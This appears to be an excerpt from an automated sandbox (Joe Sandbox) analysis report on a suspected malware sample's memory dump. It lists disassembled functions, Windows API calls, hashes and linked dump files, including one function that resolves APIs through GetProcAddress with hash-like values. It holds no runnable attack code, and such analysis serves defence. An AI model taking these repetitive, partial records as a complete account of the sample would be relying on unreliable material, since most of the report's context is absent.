Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ArraySafe$ElementVariant$Clear$CreateDataVector$AccessDestroyInitUnaccess_malloc_memmove
String ID:
API String ID: 452649785-0
Opcode ID: 3bd627d47b3bb5466750262c46f841c138c88da1f325ca9c8609e5f156b1de37
Instruction ID: 0bf9ec15dcee882d41f1b5a28d5ef7caa432685a68f8c100488fd9f31c21dc77
Opcode Fuzzy Hash: 3bd627d47b3bb5466750262c46f841c138c88da1f325ca9c8609e5f156b1de37
Instruction Fuzzy Hash: 6E7119B5A0021AEFEB00CFA5C884EAFBBB8FF59714F408119E9159B241D775E945CBA0

Function 6895F95E Relevance: 19.6, APIs: 9, Strings: 2, Instructions: 332COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 6895FA0F
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 6895FA22
SafeArrayGetElement.OLEAUT32 ref: 6895FA5A

Part of subcall function 68963A90: SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 68963B71
Part of subcall function 68963A90: SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 68963B83

Part of subcall function 689669C0: SafeArrayGetLBound.OLEAUT32(?,00000001,00000000), ref: 68966A08
Part of subcall function 689669C0: SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 68966A15
Part of subcall function 689669C0: SafeArrayGetElement.OLEAUT32(?,?,?), ref: 68966A41

SafeArrayDestroy.OLEAUT32(?), ref: 689623B3
SafeArrayDestroy.OLEAUT32(?), ref: 689623C3
SafeArrayDestroy.OLEAUT32(?), ref: 689623D6
SafeArrayDestroy.OLEAUT32(?), ref: 689623E9
SafeArrayDestroy.OLEAUT32(?), ref: 689623FC
SafeArrayDestroy.OLEAUT32(?), ref: 6896240F

Part of subcall function 6895DFB0: SafeArrayGetLBound.OLEAUT32(?,00000001,00000000), ref: 6895DFF6
Part of subcall function 6895DFB0: SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 6895E003
Part of subcall function 6895DFB0: SafeArrayGetElement.OLEAUT32(?,?,?), ref: 6895E02F

Strings

RS7m, xrefs: 6895FC82
RS{m, xrefs: 6895FC3E

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ArraySafe$Bound$Destroy$Element
String ID: RS7m$RS{m
API String ID: 959723449-144615663
Opcode ID: fbe5b340ad0e455916e98f702962ff35415a7f67b76f65e92d3026cf3bb48277
Instruction ID: 46a8828018e52e06a912b27150901dabfaeda8a29a3c93185b2456ea9aa1a3fa
Opcode Fuzzy Hash: fbe5b340ad0e455916e98f702962ff35415a7f67b76f65e92d3026cf3bb48277
Instruction Fuzzy Hash: 64C15074A002059FEB10DFA8CC80FADB7BDAF89318F904199E955EB286D771ED80CB51

Function 68963690 Relevance: 18.2, APIs: 12, Instructions: 215COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 689636CD
VariantInit.OLEAUT32(?), ref: 689636DA
VariantInit.OLEAUT32(?), ref: 689636E0
VariantInit.OLEAUT32(?), ref: 689636E6
VariantInit.OLEAUT32 ref: 689637DD
VariantCopy.OLEAUT32(?,?), ref: 689637E4
VariantInit.OLEAUT32 ref: 68963815
VariantCopy.OLEAUT32(?,?), ref: 6896381C
VariantClear.OLEAUT32(?), ref: 689638A8
VariantClear.OLEAUT32(?), ref: 689638AE
VariantClear.OLEAUT32(?), ref: 689638B4
VariantClear.OLEAUT32(?), ref: 689638BA

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: Variant$Init$Clear$Copy
String ID:
API String ID: 3833040332-0
Opcode ID: 2017be765c56946f18f3ad7cebab781692cc2c87c329cb51008ce4e2e5688696
Instruction ID: 160a457062358a5042e2d49300b9abdcdbe2ddd7369cb99147b3e30a52bf5835
Opcode Fuzzy Hash: 2017be765c56946f18f3ad7cebab781692cc2c87c329cb51008ce4e2e5688696
Instruction Fuzzy Hash: D781ACB1A00219AFDB04DFA8C884FEEBBB9FF49318F54415DE515AB240DB35E945CBA0

Function 6896D880 Relevance: 18.2, APIs: 12, Instructions: 202COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 6896D8EC
VariantInit.OLEAUT32 ref: 6896D902
VariantInit.OLEAUT32(?), ref: 6896D90D
SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000002), ref: 6896D929
SafeArrayPutElement.OLEAUT32(?,?,?), ref: 6896D966
VariantClear.OLEAUT32(?), ref: 6896D973
SafeArrayPutElement.OLEAUT32(?,?,?), ref: 6896D9B4
VariantClear.OLEAUT32(?), ref: 6896D9C1
SafeArrayDestroy.OLEAUT32(?), ref: 6896DA6F
VariantClear.OLEAUT32(?), ref: 6896DA80
VariantClear.OLEAUT32(?), ref: 6896DA87
VariantClear.OLEAUT32(?), ref: 6896DA99

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: Variant$Clear$ArraySafe$Init$Element$CreateDestroyVector
String ID:
API String ID: 1625659656-0
Opcode ID: bd1cfbff10424352efeef8ee4fbbe2bf3bb692b4f2db18ee1ecd6c3411a54f3d
Instruction ID: 074bd64f8e40ba53dd6355d3f327696e7bdd131deb86b719981b2a005c2221c6
Opcode Fuzzy Hash: bd1cfbff10424352efeef8ee4fbbe2bf3bb692b4f2db18ee1ecd6c3411a54f3d
Instruction Fuzzy Hash: 568135762083019FD710CF68C884B5ABBE8FFD9724F148A5DE9A49B340E735E945CB92

Function 689512A0 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 171COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 689512DD
std::_Xinvalid_argument.LIBCPMT ref: 689512FB
_memmove.LIBCMT ref: 68951368
_memmove.LIBCMT ref: 6895139F
std::_Xinvalid_argument.LIBCPMT ref: 6895140C

Strings

invalid string position, xrefs: 68951407
string too long, xrefs: 689512D8, 689512F6

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: Xinvalid_argumentstd::_$_memmove
String ID: invalid string position$string too long
API String ID: 2168136238-4289949731
Opcode ID: f0a18cab4314490ccaa43067e97fa5d8848d085afbd12ab1cfa09f5444af4287
Instruction ID: a9a98cdcee67ddc9e36aa7238f58da83a1aac5b0ec7fdedd0a0529bea73c0d85
Opcode Fuzzy Hash: f0a18cab4314490ccaa43067e97fa5d8848d085afbd12ab1cfa09f5444af4287
Instruction Fuzzy Hash: 474196317002059BD714DE5CDCE096EB3AAEB82358BA4092EE4A1CBA41D771D855C7A3

Function 68964BA0 Relevance: 15.5, APIs: 10, Instructions: 475COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 68964BDC
VariantInit.OLEAUT32(?), ref: 68964BE5
VariantInit.OLEAUT32(?), ref: 68964BEB
SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000001), ref: 68964BF6
SafeArrayPutElement.OLEAUT32(00000000,?,?), ref: 68964C2A
VariantClear.OLEAUT32(?), ref: 68964C37
SafeArrayDestroy.OLEAUT32(00000000), ref: 68965107
VariantClear.OLEAUT32(?), ref: 68965117
VariantClear.OLEAUT32(?), ref: 6896511D
VariantClear.OLEAUT32(?), ref: 68965123

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: Variant$Clear$ArrayInitSafe$CreateDestroyElementVector
String ID:
API String ID: 2515392200-0
Opcode ID: 4aeda5a16adce807b9731ce7183d969bb0278f22aaf9abce8dd6fccd7722db7a
Instruction ID: a0a551626f5563dcf52d361ec81c96bb5b31369e23772774fcb1ab706a4fed91
Opcode Fuzzy Hash: 4aeda5a16adce807b9731ce7183d969bb0278f22aaf9abce8dd6fccd7722db7a
Instruction Fuzzy Hash: EB12F575615705AFC718DB98DD84DAEB3B9BF8C300F544668F50AABB91CA30F841CB50

Function 689649B0 Relevance: 15.2, APIs: 10, Instructions: 174COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(689C05A8), ref: 689649EE
VariantInit.OLEAUT32(?), ref: 689649F7
VariantInit.OLEAUT32(?), ref: 689649FD
SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000001), ref: 68964A08
SafeArrayPutElement.OLEAUT32(00000000,?,?), ref: 68964A39
VariantClear.OLEAUT32(?), ref: 68964A45
SafeArrayDestroy.OLEAUT32(00000000), ref: 68964B66
VariantClear.OLEAUT32(?), ref: 68964B76
VariantClear.OLEAUT32(?), ref: 68964B7C
VariantClear.OLEAUT32(689C05A8), ref: 68964B82

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: Variant$Clear$ArrayInitSafe$CreateDestroyElementVector
String ID:
API String ID: 2515392200-0
Opcode ID: 0131da507bace11d0fca4921f6855f8d603aadf534e62bffb82527fd14abe254
Instruction ID: efe5147a6035b7fb9ca645c1ee6d9f6d4873d2aa711dbfdb78db66b1647f8349
Opcode Fuzzy Hash: 0131da507bace11d0fca4921f6855f8d603aadf534e62bffb82527fd14abe254
Instruction Fuzzy Hash: 08516A72A00219AFDB14CFA4CC84EAEBBBCFF99314F444169E915AB244D735E941CFA0

Function 689647D0 Relevance: 15.2, APIs: 10, Instructions: 168COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 6896480C
VariantInit.OLEAUT32(?), ref: 68964815
VariantInit.OLEAUT32(?), ref: 6896481B
SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000001), ref: 68964826
SafeArrayPutElement.OLEAUT32(00000000,000000FF,?), ref: 6896485B
VariantClear.OLEAUT32(?), ref: 68964868
SafeArrayDestroy.OLEAUT32(00000000), ref: 68964974
VariantClear.OLEAUT32(?), ref: 68964984
VariantClear.OLEAUT32(?), ref: 6896498A
VariantClear.OLEAUT32(?), ref: 68964990

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: Variant$Clear$ArrayInitSafe$CreateDestroyElementVector
String ID:
API String ID: 2515392200-0
Opcode ID: d97dd6d77b748b07a1a021f893f257e96c5688e2544fc5f1e9fe3afdd78207d5
Instruction ID: 5fdfe7000bf83b0547115f243759dbdabcd88c2baa0d1b15e4dcc31e3e5a8d0c
Opcode Fuzzy Hash: d97dd6d77b748b07a1a021f893f257e96c5688e2544fc5f1e9fe3afdd78207d5
Instruction Fuzzy Hash: BA514772A04209EFDB14DFA8C884EAEB7B9FF99314F54456DE505AB240D730E941CFA0

Function 6895DCD0 Relevance: 15.1, APIs: 10, Instructions: 138COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 6895DD00
SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000003), ref: 6895DD10
SafeArrayPutElement.OLEAUT32(00000000,68962FFF,?), ref: 6895DD47
VariantClear.OLEAUT32(?), ref: 6895DD4F
SafeArrayPutElement.OLEAUT32(00000000,68962FFF,?), ref: 6895DD6D
SafeArrayPutElement.OLEAUT32(00000000,00000002,?), ref: 6895DDA4
VariantClear.OLEAUT32(?), ref: 6895DDAC
SafeArrayDestroy.OLEAUT32(00000000), ref: 6895DE16
SafeArrayDestroy.OLEAUT32(00000000), ref: 6895DE27
VariantClear.OLEAUT32(?), ref: 6895DE31

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ArraySafe$Variant$ClearElement$Destroy$CreateInitVector
String ID:
API String ID: 3525949229-0
Opcode ID: 6a50f185609a1b7d43e1075b87d86affcb42e76c009e5b77a9127fdae59236e1
Instruction ID: 7f19fe073d45c62b57373c1475a1307e9e9b939e00d37ad31edcb9283793e357
Opcode Fuzzy Hash: 6a50f185609a1b7d43e1075b87d86affcb42e76c009e5b77a9127fdae59236e1
Instruction Fuzzy Hash: 04513C75A04609AFDB10DFA5C884EDEBBB8FF9A700F018129EA15A7350DB35D905CBA1

Function 6897C1B0 Relevance: 14.3, APIs: 1, Strings: 7, Instructions: 266COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 6897C213

Part of subcall function 689A90D8: std::exception::exception.LIBCMT ref: 689A90ED
Part of subcall function 689A90D8: __CxxThrowException@8.LIBCMT ref: 689A9102
Part of subcall function 689A90D8: std::exception::exception.LIBCMT ref: 689A9113

Strings

gfff, xrefs: 6897C259
gfff, xrefs: 6897C222
vector<T> too long, xrefs: 6897C20E
gfff, xrefs: 6897C1F2
gfff, xrefs: 6897C3F7
gfff, xrefs: 6897C3A3
gfff, xrefs: 6897C2EA

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argumentstd::_
String ID: gfff$gfff$gfff$gfff$gfff$gfff$vector<T> too long
API String ID: 1823113695-1254974138
Opcode ID: cdb25e337d008f5411d2602aead215311a2f4b041877402d2243316e09f73fc9
Instruction ID: 4c0c2897ceebf240489705a10d44c9168eb107a63b3656a40a9afa4fb6f783ad
Opcode Fuzzy Hash: cdb25e337d008f5411d2602aead215311a2f4b041877402d2243316e09f73fc9
Instruction Fuzzy Hash: 089185B5A00209AFCB18CF59DC84EAEB7B9EB98314F44861DE919DB340D730FA04CB91

Function 68950CD0 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 196COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 68950D3A
std::_Xinvalid_argument.LIBCPMT ref: 68950D60
_memmove.LIBCMT ref: 68950D95
std::_Xinvalid_argument.LIBCPMT ref: 68950DBF
_memmove.LIBCMT ref: 68950E3E

Strings

invalid string position, xrefs: 68950D35
string too long, xrefs: 68950D5B, 68950DBA

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: Xinvalid_argumentstd::_$_memmove
String ID: invalid string position$string too long
API String ID: 2168136238-4289949731
Opcode ID: 087f7253d28d01b1e1b9a8121272d30dd22f5a00f4d67b3c6d67476e48169aa6
Instruction ID: f55d28b882b25095ab23bc088fa70e7a302f40e10ff3bce79217b235bbebdd95
Opcode Fuzzy Hash: 087f7253d28d01b1e1b9a8121272d30dd22f5a00f4d67b3c6d67476e48169aa6
Instruction Fuzzy Hash: BC51D8327002059BD724CE1CE890A6FB7EBEBC5318BA0462EE855C7784D771ED658793

Function 68971B20 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 154libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(User32.dll,?,00000000,?,?,?,?,?,?,?,?), ref: 68971C5E
LoadLibraryW.KERNEL32(User32.dll,?,00000000,?,?,?,?,?,?,?,?), ref: 68971C69
GetProcAddress.KERNEL32(00000000,F1F2E532), ref: 68971CA2
GetModuleHandleW.KERNEL32(kernel32.dll,?,00000000), ref: 68971CC1
LoadLibraryW.KERNEL32(kernel32.dll,?,00000000), ref: 68971CCC
GetProcAddress.KERNEL32(00000000,EFF3E52B), ref: 68971D0A

Strings

User32.dll, xrefs: 68971C57, 68971C64
kernel32.dll, xrefs: 68971CBA, 68971CC7

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID: User32.dll$kernel32.dll
API String ID: 310444273-1965990335
Opcode ID: 7dcf7ae8c00d3ab4e5a1bbcfecce8f76bfc8ae0350586b46f6802f55e8d2a583
Instruction ID: a0e7d468307ddebe62bb9a952607b7afe69a577e142bcf5ab0a2c058881289d2
Opcode Fuzzy Hash: 7dcf7ae8c00d3ab4e5a1bbcfecce8f76bfc8ae0350586b46f6802f55e8d2a583
Instruction Fuzzy Hash: A2615A78204B00DFD730CF58C596A6ABBF6FF56710FA08958D4968BA42D736F856CB80

Function 689B4409 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

UnDecorator::getArgumentList.LIBCMT ref: 689B442E

Part of subcall function 689B3FC9: Replicator::operator[].LIBCMT ref: 689B404C
Part of subcall function 689B3FC9: DName::operator+=.LIBCMT ref: 689B4054

DName::operator+.LIBCMT ref: 689B4487
DName::DName.LIBCMT ref: 689B44DF

Strings

<ellipsis>, xrefs: 689B44C9, 689B44CE
,<ellipsis>, xrefs: 689B447A, 689B447F
void, xrefs: 689B44D7
..., xrefs: 689B44C2
,..., xrefs: 689B4473

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
